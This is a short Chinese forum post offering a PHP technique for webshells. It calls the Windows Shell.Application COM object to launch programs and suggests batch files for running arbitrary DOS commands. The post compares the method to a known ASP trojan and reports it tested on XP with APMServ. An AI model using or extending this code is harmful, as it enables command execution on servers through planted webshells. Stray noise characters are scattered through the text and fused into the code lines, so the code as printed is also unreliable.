关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
% F/ u- j( v- N# L& k
+ V v$ W. V9 |* f" ^- o今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
# K2 U5 |/ t; \, A) t2 [; U
+ t+ l/ n6 H4 i- H<?php1 F8 @/ d I; y2 |
$wsh = new COM('Shell.Application') or die("Shell.Application");
' I6 a* g! d6 e. E $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
( C/ g; k$ T0 { //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。1 V; s2 I- z# X! L! t& s0 P8 s4 C7 v% l
?>+ Y9 E- v+ ~8 t1 [
7 S |$ E/ E3 ^5 d7 n
xp+APMServ5.2.0测试通过。3 e3 \% {# G* w& S, Z4 G
|